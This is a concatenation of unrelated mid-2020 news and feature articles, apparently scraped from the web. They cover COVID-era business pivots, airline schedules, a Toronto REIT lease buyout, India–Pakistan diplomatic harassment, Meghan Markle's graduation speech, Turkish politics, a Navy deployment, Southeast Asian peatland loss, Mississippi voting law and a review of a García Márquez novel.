Do this quick exercise: Write down 10-20 things your ideal customers or clients are thinking, feeling or needing right now. Consider context. See the world from their point of view. Now think about how you can address those needs, desires and emotional states with your content and offerings.

Related: 5 Steps to Help Your Business Emerge Stronger From the Health Crisis

As for active selling: Yes, you can still offer value. While now is not the time to be aggressive or pushy  if there ever is a time for that  people are still buying. Many people are using this time to reset and address aspects of their lives or businesses that theyve put off: home improvement projects, hobbies, CRM clean-up, content creation, self-care, reading, exercising and cooking. How can you speak to this prioritization right now?

Some enterprise B2B companies are adopting empathy to determine sales approaches to reach their customers. Upland Software, a SaaS work management company, determined its customers needed to proactively communicate with their employees and customers and quickly rolled out mobile solutions to help their customers stay connected. Software AG, a hybrid cloud software technology in the integration and IoT space, adapted its sales model to be more prescriptive, as many of its customers are asking channel partners for actionable advice.

Talk to your customers to understand whats going on for them right now and what they need.

4. Help your brand adapt  but dont change it.

Your brand is your essence. Its who you are, who you serve, what value you offer and your voice. Your brand should be clear and consistent. But you should still adapt your brands offerings, content and messaging for the current moment.

You will continue to stand for what you stand for and serve the customers you always have. So use your existing brand voice to communicate logistical information with care and concern. Reconnect to your purpose and let that guide your communication efforts.

Related: 3 Big Ways Companies Are Pivoting

If your brand voice is usually comforting and reassuring, keep it up  but also offer practical tips and tactics to help people right now. If your brand voice is usually dynamic and edgy, continue to parlay that into positivity and action but temper it with care, compassion and concern. Its OK to be vulnerable.

Your existing mission will guide your next steps in helping your customers and community. Zooms mission is to bring teams together. In fitting with their mission, theyve offered K-12 schools free accounts to facilitate online learning. Squeeze In, a family-owned chain of cafes with locations in Northern California and Nevada, rallied customers to sponsor meals donated to first responders and essential workers.

5. Spin up new offers.

Get creative and be agile. Now is not the time to jump through a million hoops or deal with internal red-tape bureaucracy. There may be long-term culture issues that needs to be addressed  just not today.

Time is of the essence. How can you parlay existing offerings into something new, if only for this time of crisis?

Related: 3 Ways to Sell Your Services Virtually Right Now With No Upfront Costs

Some companies shifted early on and are now reaping the rewards. Table Wine, a small wine shop in Pacifica, Calif., launched its ecommerce site and began offering free delivery for orders of six or more bottles of wine. Canlis, a fine-dining restaurant and Seattle institution, could have seen their business tank during the shut-down. Instead, they started offering family meals with free delivery, cocktail and wine kits and fun virtual activities such as bingo nights and live-streamed performances. They even offer curated boxes with ingredients from local farmers and regional agriculture purveyors. Max Traylor spun up a pay-what-you-can consultancy package for businesses seeking sales and marketing assistance.

Ask yourself: What assets are at your disposal to address one of the customer needs youve identified? Can you easily package a delivery option, workshop, digital product or membership group to address current customer needs? What can you deliver virtually? What offerings can you amp up promotion of right now?

Remember: Done is better than perfect.

Whatever you do, act.

Regardless of which course of action you take right now, its important to take it. Show up. Be visible. Reach out to your community. And genuinely offer value. Your customers and future customers are watching closely to see what you do next.

Related:

5 Ways Your Brand Can Pivot to Thrive in Uncertain Times

4 Businesses That Have Pulled Off Feel-Good Pivots on the Fly

The Work-From-Home Era Is the Perfect Time to Start Your Cloud-Computing Career



Copyright 2020 Entrepreneur.com Inc., All rights reserved
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Linkedin (Agence France-Presse) New York, United States  Fri, June 5, 2020 12:03 595 fc6853813033f564188675f8bdc5ae0c 2 News American-Airlines,United-Airlines,Airlines,travel,coronavirus,COVID-19 Free

American Airlines and United Airlines announced Thursday they will add more flights in July amid improving demand, suggesting the industry had seen the worst of the hit from the coronavirus shutdowns.

Citing increased interest from consumers in US states that have reopened more quickly from the restrictions imposed to contain COVID-19, American will fly 55 percent of its domestic schedule in July and nearly 20 percent of its international schedule.

"We're seeing a slow but steady rise in domestic demand. After a careful review of data, we've built a July schedule to match," said Vasu Raja, American's senior vice president of network strategy.

"Our July schedule includes the smallest year-over-year capacity reduction since March."

Later Thursday, United Airlines said it was reinstating in July flights at over 150 US and Canadian destinations, increasing non-stop flights from Chicago, Denver, New York and its other four hubs.

"Many customers have told us they are considering flying again," United said, adding that capacity will still be down 70 percent in July compared with the year-ago period.

Major airlines have been slashing service and encouraging flying staff to take unpaid leave to try to conserve cash after demand dropped by as much as 95 percent as the pandemic hit.

Read also: Qantas, Air New Zealand to boost domestic capacity as restrictions ease

But American, which has a higher debt level than other leading US carriers, said it had an average of 110,330 customers in late May, more than three times the level from April.

Its planes were 55 percent filled by late May, up from 15 percent in April.

American said it would boost service to parts of the US where demand was strongest, including Florida, North Carolina, Georgia and South Carolina. The carrier also added more flights to Colorado, Utah and other western states with national parks.

The announcements boosted airlines shares, with American leaping 41.1 percent to end the day at $16.72, and United gaining 16.2 percent to $39.10.
TORONTO, June 05, 2020 (GLOBE NEWSWIRE) -- This release was previously disseminated on June 3, 2020 at 17:00 ET. The address 33 Davisville Avenue has been added to the first paragraph, along with additional information regarding the purchase price of the operating lease buyout. The complete and corrected release follows.

Canadian Apartment Properties Real Estate Investment Trust (CAPREIT) (CAR-UN.TO) announced today that it has agreed to prepay the buyout of eight operating leases for properties in Toronto, which are expected to close by June 30, 2020. The properties are located at 88 Isabella Avenue, 30 Livonia Place, 500 Murray Ross Parkway, 10 San Romanoway, 411 Duplex Avenue, 77 Huntley Street, 33 Orchardview Boulevard and 33 Davisville Avenue. CAPREIT has executed binding agreements for these operating lease buyouts, other than for the one located at 33 Orchard View Boulevard, which remains conditional but is expected to close. The aggregate purchase price for the eight operating lease buyouts is approximately $123 million.



CAPREIT previously closed the early buyout of three of its operating leases in Toronto located at 20 Shallmar Avenue, 124 Broadway Avenue and 111 Davisville Avenue for approximately $31 million. When completed, CAPREIT will have successfully converted eleven of its fifteen operating lease properties to traditional fee simple ownership interests.

The aggregate purchase price for the eleven operating lease buyouts is approximately $154 million, representing a 29% discount to the aggregate purchase price for the buyouts set out in the respective operating leases, which buyouts would have been exercisable beginning in 2024. The operating lease buyouts are expected to be financed by a draw on CAPREITs Acquisition and Operating Facility. CAPREIT expects to replace the draw with mortgage financing in the near-term. In addition, the vendors of the eight operating lease buyouts announced today have the right to elect to receive Class B LP units in CAPREIT Limited Partnership (Class B LP Units) for all or part of the proceeds. The Class B LP Units, which are exchangeable into CAPREIT trust units on a 1-for-1 basis, will be issued at an agreed upon price of $48.00 per Class B LP Unit.

Story continues

CAPREIT estimates that the eleven operating lease buyouts will result in an increase in fair market value in excess of approximately $300 million, which, after deducting the cost of prepaying the operating lease buyouts, represents a net fair value gain of over $150 million, of which $130 million has been previously recognized by CAPREIT. The operating lease buyouts are expected to provide CAPREIT with significant additional financing capacity due to the anticipated increase in fair market value of the eleven properties, the current low leverage on these properties, as well as the elimination of lending restrictions applicable to the operating lease structure. CAPREIT expects that the fee simple properties could have incremental mortgage capacity of over $500 million, above the amount of mortgages currently outstanding on the properties.

The impact of the cost of the eleven operating lease buyouts on CAPREITs NFFO per unit is expected to be marginally dilutive due to the increased interest costs on its Acquisition and Operating Facility and ultimately long-term mortgage financing, as well as the number of Class B LP Units that are expected to be issued. Over the course of the next few years, CAPREIT will evaluate prepaying the buyouts on its remaining four operating leases, which have contractual buyout periods commencing between 2024 and 2028.

The acquisition of fee simple interests in these premium Toronto apartment properties adds material incremental financial capacity, provides meaningful NAV accretion, unlocks potential for accretive development opportunities, and simplifies CAPREITs balance sheet, commented Mark Kenney, President and CEO.

ABOUT CAPREIT

CAPREIT is one of Canadas largest real estate investment trusts. CAPREIT owns approximately 56,800 suites and sites, including townhomes and manufactured housing sites, in Canada and, indirectly through its investment in ERES, approximately 5,600 suites in the Netherlands. CAPREIT manages approximately 60,900 of its own suites and sites in Canada and the Netherlands, and additionally, approximately 3,700 suites in Ireland. Since its Initial Public Offering in May 1997, CAPREIT has grown monthly cash distributions per Unit by 93%. For more information about CAPREIT, its business and its investment highlights, please refer to our website at www.caprent.com or www.capreit.net and our public disclosure at www.sedar.com.

CAUTIONARY STATEMENTS REGARDING FORWARD-LOOKING STATEMENTS

All statements in this press release that do not relate to historical facts constitute forward-looking statements. These statements represent CAPREIT's intentions, plans, expectations and beliefs and are subject to certain risks and uncertainties that could result in actual results differing materially from these forward-looking statements. These risks and uncertainties are more fully described in regulatory filings that can be obtained on SEDAR at www.sedar.com.

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New Delhi: Rattled after two Pakistani High Commission officials were caught indulging in espionage activities and thereafter deported from India, Pakistan's Inter-Services Intelligence (ISI) has been harassing and intimidating Indias top diplomat in Islamabad.

According to reports, ISI has stationed multiple persons in cars and bikes outside his residence to harass and intimidate him. In March, the Indian High Commission in Pakistan sent a strong protest note to the foreign ministry in Islamabad protesting against the continuing harassment of its officers and staff by Pakistani agencies.

According to the note, India cited 13 instances of harassment in the month of March itself and asked Pakistan to stop such incidents and investigate the matter.

India had asked Pakistani authorities to investigate these incidents urgently and instruct the relevant agencies to ensure that similar incidents do not recur. It stated that such incidents of harassment were in clear violation of the Vienna Convention on Diplomatic Relations of 1961 and that the safety and security of Indian High Commission officers, staff members, and their families is the responsibility of the Pakistan government.

On March 8, a First Secretary was aggressively tailed by Pakistani security agency personnel in a car while proceeding from the Chancery to the bank. On the same day, the Naval Adviser was aggressively tailed by the Pakistani security agency in a car while proceeding from Chancery to his residence, the note read.

The note also cited instances of two Indian officers receiving a number of hoax calls during the last few days.

On March 9, Deputy High Commissioner was aggressively tailed by Pakistani security agency personnel on a motorcycle. The following day, the Deputy High Commissioner was again aggressively followed by personnel on a motorcycle while going from his residence to a market, the note mentioned.

On May 31, law enforcement agencies caught red-handed two Pakistani officials, Abid Hussain and Mohammad Tahir in New Delhi, spying on the Indian Army. The duo used to meet Indian defence personnel as businessmen to get information for decoy news reporters. Both were declared persona non grata and were deported to Pakistan.
If youve noticed the many lawn signs in town thanking those on the front lines of the fight against COVID-19 and wondered where they came from, they are the brainchild of graphic designer and entrepreneur Zachary Schwartz, a graduate of Longmeadow High School and Marshall University, and owner of Fusion Cross-Media in Manchester, Connecticut.

These signs not only give people an opportunity to openly thank first responders and health care workers, they also give them a chance to make a donation to charity.

According to Schwartz, in normal times, Fusion provides creative, digital and printed communications for its customers, mostly businesses, including design projects, marketing materials, posters, banners and displays.

But within two weeks of the state ordering nonessential businesses to shut down, 75% of our clients closed their businesses, Schwartz said. Most projects canceled, and work stopped coming in.

To make matters worse, he said, over the winter holidays, we had moved to a larger space and invested in new sign-printing equipment. A pandemic had not been in my business plans.

But he wanted to keep his team employed and busy. With my machines sitting idle, the situation felt hopeless, he said.

He looked into making face shields and masks, but his business was not equipped for that.

And then he came up with the idea of making lawn signs. When he passed the concept by friends, some of whom worked at Baystate Medical Center, they thought it was a great idea.

He set about designing what he describes as an impactful, uplifting, personal and unique message to thank healthcare workers and first responders for their work.

His next step was to partner with local food distribution charities to donate $2 for every lawn sign order. His primary partner in this effort is Rachels Table, but in Franklin County, donations go to Meal Train, and in Manchester and Bolton, Connecticut, donations go to MACC Charities Community Kitchen.

While keeping his business open, Schwartz is following strict social distancing and sanitation guidelines. With only six employees and 10,000 square feet of space, social distancing in the building is easy, he said. Masks are required everywhere in Connecticut and they are complying. They are also shutting down early each day in order to wipe down every handle, every surface, every phone to prepare for the following day, he explained.

Schwartz began making signs in the first week of April and gave several away initially to jump start the idea. Each sign has the name of the town where its sold and a unique consecutive number in order to track how many and where they are going. So far, they have printed 1,300 signs and counting.

Currently, he has signs in Massachusetts, Connecticut, New York, New Jersey, Colorado and New Hampshire.

Signs ordered in bundles of 5 or 10 are $10 each. Individual signs are $20. Schwartz says many people are buying a bundle in order to give signs away to friends and neighbors.

In Longmeadow, signs can be purchased individually at The Kitchen restaurant or picked up there if you order online.

Schwartz said, We now have ideas in the works for how we may be able to help our nonprofit partners [like Rachels Table] continue to raise money through this program. I hope, in the future, we may be able to share part two of this story.

In addition to creating lawn signs thanking first reponders, Schwartz also assisted the high school Parent Advisory Council by creating lawn signs for each graduating senior to honor them in this time of COVID-19. He then displayed the signs for a time on the inner edge of the Longmeadow Green for anyone in town to view

In addition to creating the lawn signs thanking first responders and healthcare workers, Schwartz also assisted the high schools Parent Advisory Council in their effort to honor graduating seniors in this time of COVID - 19.

He created lawn signs for each graduating senior. But rather than making a generic sign, the same for all, he suggested personalizing them with a photo of each student on one side and the Lancers' logo on the other. Because of the council's limited funds, Schwartz donated the design and layout time and surprised them with the Lancers logo on the backside of each sign.

He then suggested that instead of displaying them on the students lawns, they line them up altogether for more impact, along the inner edge of the town green, so that drivers and pedestrians can view them slowly without disrupting traffic along Route 5

For more information about the signs, how to order one or a bundle, and where in your community you can pick them up, visit fusioncross

media.com.
Meghan Markle gave a commencement address on Wednesday as part of Immaculate Heart High School's virtual graduation ceremony for the class of 2020.

In a video message recorded on her phone, the Duchess of Sussex, who is an alumna of the all-girls school, said she'd been planning on making a graduation speech for weeks. But after this past week, she knew she couldn't speak to the young women without talking about George Floyd and social injustice. "As we've all seen over the last week, what is happening in our country and in our state and in our hometown of L.A. has been absolutely devastating," she said.

She then admitted she "wasn't sure" what she could say to the class.

"I wanted to say the right thing," she continued. "And I was really nervous that I wouldn't, or that it would get picked apart. And I realized the only wrong thing to say is to say nothing. Because George Floyd's life mattered, and Breonna Taylor's life mattered, and Philando Castile's life mattered, and Tamir Rice's life mattered, and so did so many other people whose names we know and whose names we do not know. Stephon Clark. His life mattered."

Celebrities Attending Protests Over George Floyd's Death

Meghan also looked back at her sophomore year at Immaculate Heart High School and recalled the impactful words her teacher, Ms. Pollia, told her while she was on her way to volunteer.

"'Always remember to put others' needs above your own fears,'" she recounted. "And that has stuck with me through my entire life, and I have thought about it more in the last week than ever before."

In addition, she remembered the 1992 Los Angeles riots, "which was also triggered by a senseless act of racism."

"I remember the curfew. And I remember rushing back home and, on that drive home, seeing ash fall from the sky and smelling the smoke and seeing the smoke billow out of buildings and seeing people run out of buildings carrying bags and looting," Meghan recalled. "And I remember seeing men in the back of a van just holding guns and rifles. And I remember pulling up to the house and seeing the tree that had always been there completely charred. And those memories don't go away."

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Meghan Markle

She then told the students she can't imagine how, at 17 or 18 years old, they "would have to have a different version of that same type of experience."

"That's something you should have an understanding of but an understanding of as a history lesson, not as your reality," Meghan added. "So, I am sorry that, in a way, we have not gotten the world to the place that you deserve it to be."

The duchess also recalled "how people came together" and said "we are seeing that right now."

"We are seeing that from the sheriff in Michigan or the police chief in Virginia," she said. "We are seeing people stand in solidarity. We are seeing communities come together and to uplift. And you are going to be part of this movement."

While Meghan acknowledged this wasn't the graduation or the celebration the students envisioned, she also said "there's a way for us to reframe this for you and not see this as the end of something but instead to see this as the beginning of you harnessing all of the work, all of the values, all of the skills that you have embodied over the last four years and now you channel that."

"Now all of that work gets activated," she said. "Now you get to be part of rebuilding. And I know sometimes people say, 'How many times do we need to rebuild?' Well, you know what? We are going to rebuild and rebuild and rebuild until it is rebuilt. Because when the foundation is broken, so are we."

She then told the graduates they are going to lead with love, compassion and their voices.

"You are going to use your voice in a stronger way than you've ever been able to. Because most of you are 18 or you're going to turn 18, so you're going to vote," she continued. "You are going to have empathy for those who don't see the world through the same lens that you do because with as diverse, and vibrant and opened-minded as I know the teachings at Immaculate Heart are, I know you know that black lives matter. So, I'm already excited for what you're going to do in the world. You are equipped; you are ready; we need you and you are prepared."

Near the end of her speech, Meghan said she's "so proud to call each of you a fellow alumni" and that she's "so eager" to see what they're going to do.

"Please know that I am cheering you on all along the way," she concluded. "I'm exceptionally proud of you, and I'm wishing you a huge congratulations on today, the start of all the impact you're going to make in the world as the leaders that we all so deeply crave. Congratulations, ladies, and thank you in advance."
Turkish parliament strips status of two pro-Kurdish lawmakers, one MP from main opposition party

Iran Press TV

Thursday, 04 June 2020 5:55 PM

The Turkish parliament has stripped two pro-Kurdish lawmakers and one MP from the main opposition party of their parliamentary status as the Ankara government presses ahead with a clampdown on opposition members.

Leyla Guven and Musa Farisogullari from the pro-Kurdish Peoples' Democratic Party (HDP) and the Republican People's Party's (CHP) Enis Berberoglu were dismissed of their status after convictions against them became final on Thursday.

The dismissals were announced in parliament after appeals courts upheld Berberoglu's conviction for disclosing government secrets and the convictions of the two others for being members of a terrorist organization.

The removals have drawn sharp criticism from their parties.

"This disregards the national will. We will continue the democratic fight to obtain justice, rights and law," CHP leader Kemal Kilicdaroglu wrote on Twitter.

"This is the trampling and theft of the will of the voters and the Kurdish people," HDP deputy Saruhan Oluc said in a speech in parliament.

The government of President Recep Tayyip Erdogan has repeatedly accused the HDP of ties to the outlawed Kurdistan Workers' Party (PKK), which has fought against the state in the largely Kurdish southeast since 1984. The HDP denies such links.

Turkey has been taking tough on on Kurdish militants in the country's southeast, with military and police saying that they have killed hundreds from the PKK.

Senior HDP figures have, however, repeatedly challenged the figures, saying many of those killed in the crackdown have been civilians.

Erdogan has also repeatedly called for the prosecution of HDP members.

In May 2016, Turkey's parliament approved a bill that would strip lawmakers of their immunity from prosecution.

The HDP says the legislation was essentially a move to drive its MPs out of parliament.

The ruling AK Party has 291 deputies in the 600-seat assembly, while the CHP now has 138 seats and the HDP has 58 seats, keeping it as the second biggest opposition party.

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The Harry S. Truman Carrier Strike Group is wrapping up a lengthy deployment that left some ships at sea for nine months as they were called on to respond to everything from Iranian aggression in the Middle East to the novel coronavirus pandemic.

The guided-missile cruiser Normandy and guided-missile destroyer Forrest Sherman returned to the East Coast on Friday, along with aviators from nine Carrier Air Wing One squadrons. The Normandy and Forrest Sherman had been underway since September, when they deployed without the aircraft carrier Harry S. Truman as it underwent repairs.

Read next: Lightning Strike Injures 2 National Guard Members in DC

The Truman, which deployed in November, will return to Virginia in mid-June, Vice Adm. Andrew Lewis, commander of Second Fleet, told reporters Friday. The destroyers Lassen and Farragut, which broke off from the strike group to support missions in U.S. Southern Command, are headed back to Florida, he said.

"For nearly three years, Truman Strike Group has ... [remained] operationally unpredictable to adversaries through multiple surface-action groups, Arctic operations, dual-carrier operations, and sustainment underway periods," Lewis said. "Time and again, this strike group has answered our nation's call."

The strike group has spent 16 of the last 32 months deployed. It was set to return in the spring, but the crews were notified their deployment would be extended so they could respond to crises as another carrier was sidelined in the Pacific due to the COVID-19 pandemic.

News of the extension came after the Truman had operated for months in the Middle East, alongside the Dwight D. Eisenhower Strike Group, amid high tensions with Iran. It marked the first time in years leaders had staged two strike groups in the region.

Navy Secretary Kenneth Braithwaite visited the Truman and Normandy this week, where he told the crews they'd be awarded the Meritorious Unit Commendation Ribbon for their deployment.

"This entire strike group deserves to be recognized," Braithwaite said. "For the rest of your service and the rest of your lives, you can look down at your service ribbons and remember this deployment for its distinct contribution to our national security."

Lewis said morale remained strong during the lengthy deployment because leaders were transparent and honest about the extensions. Lewis said Briaithwaite spoke directly to crew members during his stops this week about how they coped with the setbacks.

"Most of the answers were, 'We'd like to have more port visits' or 'We'd like to have known exactly what was going to happen over the next horizon,'" Lewis said. "But they understood why those things couldn't happen. They couldn't pull into port for a long time because [of] the environment that we're operating in."

After spending half of the last 32 months underway, Lewis said the Truman is approaching its maintenance phase. The strike group was able to make some major fixes to ships while underway, though, something from which he said the entire Navy can learn.

That includes fixing a steam catapult for aircraft aboard the Truman that typically wouldn't be fixed until the carrier was in the shipyard.

"They took all the pictures and went back and forth with the engineers and basically got the engineering approval to do those fixes," he said. "They did it themselves, and the catapult's up and running."

The strike group is returning to a different world than it left, as Americans not only grapple with the ongoing pandemic, but unrest across the country following the May death of George Floyd -- a black man who died in police custody in Minnesota.

Lewis said he'll be going out on a listening campaign to hear what's on the minds of those in his command, as the country continues to see protesters in the streets demanding change. Division is unhealthy for the force, he said, adding that he'll also be encouraging subordinate commands to launch listening campaigns.

"We are a force that values and celebrates the differences that we have in appearance and background," he said.

-- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins.

Related: Navy Cancels Carrier Homecoming Plans Amid Coronavirus Pandemic
In less than three decades, most of Southeast Asia's peatlands have been wholly or partially deforested, drained, and dried out. This has released carbon that accumulated over thousands of years from dead plant matter, and has led to rampant wildfires that spew air pollution and greenhouse gases into the atmosphere.

The startling prevalence of such rapid destruction of the peatlands, and their resulting subsidence, is revealed in a new satellite-based study conducted by researchers at MIT and in Singapore and Oregon. The research was published in the journal Nature Geoscience, in a paper by Alison Hoyt PhD '17, who is now a postdoc at the Max Planck Institute for Biogeochemistry, MIT professor of civil and environmental engineering Charles Harvey, and two others.

Tropical peatlands are permanently flooded forest lands, where the debris of fallen leaves and branches is preserved by the wet environment and continues to accumulate for centuries, rather than continually decomposing as it does in dryland forests. When drained and dried, either to create plantations or to build roads or canals to extract the timber, the peat becomes highly flammable. Even when unburned it rapidly decomposes, releasing its accumulated store of carbon. This loss of stored carbon leads to subsidence, the sinking of the ground surface, in vulnerable coastal areas.

Until now, measuring the progression of this draining and drying process has required arduous treks through dense forests and wet land, and help from local people who know their way through the remote trackless swampland. There, poles are dug into the ground to provide a reference to measure the subsidence of the land over time as the peat desiccates. The process is arduous and time-consuming, and thus limited in the areas it can cover.

Now, Hoyt explains, the team was able to use precise satellite elevation data gathered over a three-year period to get detailed measurements of the degree of subsidence over an area of 2.7 million hectares mostly in Malaysia and Indonesia -- more than 10 percent of the total area covered by peatlands in the Southeast Asia region. Over 90 percent of the peatland area they studied was subsiding, at an average of almost an inch a year (over 1 foot every 15 years). This subsidence poses a threat to these ecosystems, as most coastal peatlands are at or just above sea level.

"Peatlands are really unique and carbon rich environments and wetland ecosystems," Hoyt says. While most previous attempts to quantify their destruction have focused on a few locations or types of land use, by using the satellite data, she says this work represents "the first time that we can make measurements across many different types of land uses rather than just plantations, and across millions of hectares." This makes it possible to show just how widespread the draining and subsidence of these lands has been.

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"Thirty years ago, or even 20 years ago, this land was covered with pristine rainforest with enormous trees," Harvey says, and that was still the case even when he began doing research in the area. "In 13 years, I've seen almost all of these rainforests just removed. There's almost none at all anymore, in that short period of time."

Because peat is composed almost entirely of organic carbon, measuring how much that land has subsided provides a direct measure of the amount of carbon that has been released into the atmosphere. Unlike other kinds of subsidence seen in drier ecosystems, which can result from compaction of soil, in this case the missing depth of peat reflects matter that has actually been decomposed and lost to the air. "It's not just compaction. It's actually mass loss. So measuring rates of subsidence is basically equivalent to measuring emissions of carbon dioxide," says Harvey, who is also a principal investigator at the Singapore-MIT Alliance for Research and Technology (SMART), MIT's research enterprise in Singapore.

Some analysts had previously thought that the draining of peatland forests to make way for palm oil plantations was the major cause of peatland loss, but the new study shows that subsidence is widespread across peatlands under a diverse set of land uses. This subsidence is driven by the drainage of tropical peatlands, mostly for the expansion of agriculture, as well as from other causes, such as creating canals for floating timber out of the forests, and digging drainage ditches alongside roads, which can drain large surrounding areas. All of these factors, it turns out, have contributed significantly to the extreme loss of peatlands in the region.

One longstanding controversy that this new research could help to address is how long the peatland subsidence continues after the lands are drained. Plantation owners have said that this is temporary and the land quickly stabilizes, while some conservation advocates say the process continues, leaving large regions highly vulnerable to flooding as sea levels rise, since most of these lands are only slightly above sea level. The new data suggest that the rate of subsidence continues over time, though the rate does slow down.

The satellite measurements used for this study were gathered between 2007 and 2011 using a method called Interferometric Synthetic Aperture Radar (InSAR), which can detect changes in surface elevation with an accuracy of centimeters or even millimeters. Though the satellites that produced these data sets are no longer in operation, newer Japanese satellites are now gathering similar data, and the team hopes to do followup studies using some of the newer data.

"This is definitely a proof of concept on how satellite data can help us understand environmental changes happening across the whole region," Hoyt says. That could help in monitoring regional greenhouse gas output, but could also help in implementing and monitoring local regulations on land use. "This has really exciting management implications, because it could allow us to verify management practices and track hotspots of subsidence," she says.

While there has been little interest in the region in curbing peatland drainage in order to curb greenhouse gas emissions, the serious risk of uncontrollable fires in these dried peatlands provides a strong motivation to try to preserve and restore these ecosystems, Harvey says. "These plumes of smoke that engulf the region are a problem that everyone there recognizes."

The research team also included Estelle Chaussard of the University of Oregon and Sandra Seppalainen SB '16. The work was supported by the National Research Foundation, Singapore under its Campus for Research Excellence and Technological Enterprise (CREATE) program, the Singapore-MIT Alliance for Research and Technology (SMART), the National Science Foundation, and MIT's Environmental Solutions Initiative.
JACKSON, Mississippi -- A section of existing Mississippi law could be used to allow some people to vote early by mail to avoid coronavirus exposure at the polls in November, Secretary of State Michael Watson told legislators Wednesday.

Mississippi is one of six states nationwide that have not taken steps to expand voting by mail because of the coronavirus. The House and Senate Elections committees held a joint hearing on Wednesday regarding voting issues in November if the coronavirus is still a concern.

In the hearing, Watson, a Pascagoula native his first term as Secretary of State, said it should be up to local circuit clerks in each county to determine whether a person could vote early under a provision of law that says people with a temporary disability can vote early by mail or in person.

But Watson, who is the states chief elections officer, said he opposed a blanket expansion of vote by mail, though he said he would support an expansion to allow people to vote early in person at local courthouses.

Watson added that if a person was seen at Walmart or a sporting goods store the day before, they had no reason to say they were afraid to go to the polls on Election Day to vote.

I think our circuit clerks are smart enough to figure that out, Watson said when asked which residents should be provided an absentee, mail-in ballot.

Friday morning, the Mississippi Department of Health reported 209 cases of COVID-19 and nine new deaths, bringing the state totals to 16,769 and 803, respectively. There were no new cases or deaths reported anywhere on the Mississippi coast, including Jackson County, and the coast totals remained 673 cases and 34 deaths.

Under current Mississippi law, those over the age of 65, disabled residents or those who will be away from home on Election Day are allowed to vote early. Watsons interpretation of the current state law, as he explained to the media after the Wednesday hearing, is that any expansion most likely would occur only for those with preexisting conditions.

Rep. Zakiya Summers, D-Jackson, said she does not believe the temporary disability provision in existing law will be enough to provide protection for voters this November, especially if counties were left to interpreted the law on their own.

It should be the same in all counties with no confusion, she said, adding that the Legislature should take steps to allow people to vote without having to go to a crowded precinct on Election Day.

Just the expansion of the disability provision alone would be far less than what most other states have done during the COVID-19 pandemic. In Georgia, applications for mail-in ballots were sent to every registered voter for the upcoming primary election, and an application also was placed online.

Dont like it, dont support it, Watson said of early voting by mail. Watson said the practice could lead to fraud, especially because voter rolls in many Mississippi counties have not been purged of those who have died or moved. National studies, though, have found virtually no examples of the fraud that Watson and several others, especially in the Republican Party, espouse when arguing against voting by mail.

During Wednesdays meeting, Summers said absentee voting can be cumbersome under current law. Sen. David Blount, D-Jackson, agreed and said he hopes steps are taking to streamline the absentee process.

Under current law, a person must submit a notarized request for a ballot. Then the completed ballot must also be notarized, and there are strict guidelines on how signatures must appear on the envelop.

Of efforts to make it easier to vote this November, Blount said: I think we are making progress.

Leroy Lacy, a Madison County election commissioner and chair of the state Election Commissioners Association, said counties will need help acquiring personal protection equipment for poll workers and for hiring more poll workers to help with issues such as social distancing, curbside voting and sanitation.

There is federal money available to help with those issues. Watson said his office received $4.7 million in federal funds to deal with election issues related to the coronavirus.

The Mississippi Press Warren Kulo contributed to this report.
Having recently written a column on Albert Camuss The Plague (La Peste), I began to look for another well-recognized book that featured conditions of plague or pandemic in its narrative. Such is our state of mind during coronavirus that many of us seek information and parallels from the past to better understand where we are and where we are going.

Searching through my library I was surprised to find a hard-cover copy of Gabriel Garcia Marquezs Love in the Time of Cholera and thought there was no better time to read this novel by the well-regarded, Nobel Prize winner from Columbia in South America.

Most famous for his One Hundred Years of Solitude (1970), Marquez wrote his cholera novel in Spanish in 1984. In 1987 it was translated into English and published by Albert Knopf in New York.

What, I wondered, was Marquezs special magic as a writer? And how did he use the grim reality of the cholera epidemic to inform his story?

Marquezs inclusion of love and cholera in the books title might be off-putting for some readers and intriguing to others.

The novel takes place over nearly six decades from about 1860 to 1920 and is anchored in a dark noxious context of endless civil wars, intermittent outbreaks of cholera, and, as the 20th century advances, horrible environmental degradation. All those negatives constitute a very unpleasant and unromantic way of defining life in Columbia during the time of the story.

But to read the novel is to enter an entirely different world, one where lush descriptions and shafts of love-light beguile and mesmerize the reader. In fact, I found Marquezs lush prose and romantic scenes almost overwhelming at times.

His hazily-defined Columbian city, likely based on ancient Cartagena in part, is a tropical and sensual centre fronting on the Caribbean Sea and lying at the mouth of the Magdelena River. It is a haven where socially prominent characters seem propelled and governed by powerful attractions and feelings of love.

Marquezs writing is richly poetic, matching the amorous emotions and adventures of his three primary characters: the celebrated Dr. Juvenal Urbino; Fermina Daza, his high-tempered and attractive wife of fifty years; and, above all, that most dedicated of lovers, Florentino Ariza who spends his entire life attempting to woo Fermina.

Always identifying his characters by their full names (often several times in a paragraph), Marquez builds his plot around this curious love triangle, leading the reader through the many twists and turns of their personal interactions and their relationships with a range of subsidiary characters.

As one character declares, The only regret I will have in dying is if it is not for love. Another suggests that we (t)hink of love as a state of grace: not the means of anything but the alpha and omega, an end in itself.

Aspects of love are the states of mind on which Marquez dwells. For him as author love abounds and sustains, even if it is problematical; the willing reader has to sidestep the splashes of cold Columbian water in order to enter into extraordinary aspects of individual passion that interest him. Metaphorically, Marquez sees love as the beautiful disease-powerful, passionate, illusory, and ofttimes more adolescent than realistic. In the narrative love and cholera inform each other.

The great cholera morbus epidemic occurred during the lifetime of Dr. Urbinos father, himself a doctor who died of the disease while struggling heroically to stop its horrific spread. We might date that pandemic somewhere between 1830 and 1850, remembering that Susanna Moodie and Catharine Parr Traill both came to Canada in 1832 at the very time that the cholera was arriving in the new world from Europe.

Marquez often avoids specific dates and provides no cumulative data on deaths; he does note that 140,000 people died of cholera in Paris; in Columbia, however, there was a certain reticence concerning personal misfortune  hence, a lack of precise data.

Certainly, medical knowledge of such illnesses was thin in those days. Superstition played a large part in communal response in the early nineteenth century; people stood beds in pots of water to prevent disease from climbing up the legs, or require[ed] evening wear and chamois gloves in the operating room because it was taken for granted that elegance was an essential condition for asepsis.

Every quarter hour during the epidemic a cannon was shot from the garrison day and night in accordance with the local superstition that gunpowder purified the atmosphere. It was much more devastating to the black population, which was larger and poorer, but in reality it had no regard for colour or background. Moreover, it ended as suddenly as it had begun with little explanation but great relief.

Having studied in Paris with an impressive array of doctors including the father of novelist Marcel Proust, Dr. Juvenal Urbino returned to Cartagena at age 26 and began a long and brilliant campaign against the intermittent returns of the devastating disease. He focuses on drinking water and the means of collecting it, along with changing the unsanitary conditions in the citys celebrated market place and improving the citys sewage system.

